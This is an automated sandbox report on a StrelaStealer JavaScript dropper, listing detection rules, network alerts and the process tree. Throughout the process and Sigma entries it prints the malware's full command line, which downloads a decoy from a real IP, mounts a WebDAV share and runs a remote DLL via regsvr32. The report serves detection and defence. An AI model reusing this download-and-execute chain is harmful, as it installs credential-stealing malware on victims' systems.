Edit tour

Windows Analysis Report
2254619394221055585.js

Overview

General Information

Sample name:	2254619394221055585.js
Analysis ID:	1588528
MD5:	2be47bb5204f2dd9f2c4c1cd8b1ece0c
SHA1:	ce3c861016c957bf03de88bec1a3634ffba60594
SHA256:	a4ba525a88b64e37ee2201bd4032e49ceb571bb065c1b960ab3e1c4c9ee12e4c
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2356 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4716 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1456 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7456 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1672,i,11755538481191396504,2734980706319894843,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7256 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7288 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7520 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2356	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1456, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1456, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ProcessId: 2356, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7288, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ProcessId: 2356, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4716, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1456, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7256, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7288, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7520, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7256, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7288, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2254619394221055585.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2356, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 4716, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:46.238736+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:48.463837+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:46.238736+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2254619394221055585.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2254619394221055585.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2254619394221055585.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49706 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:46 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 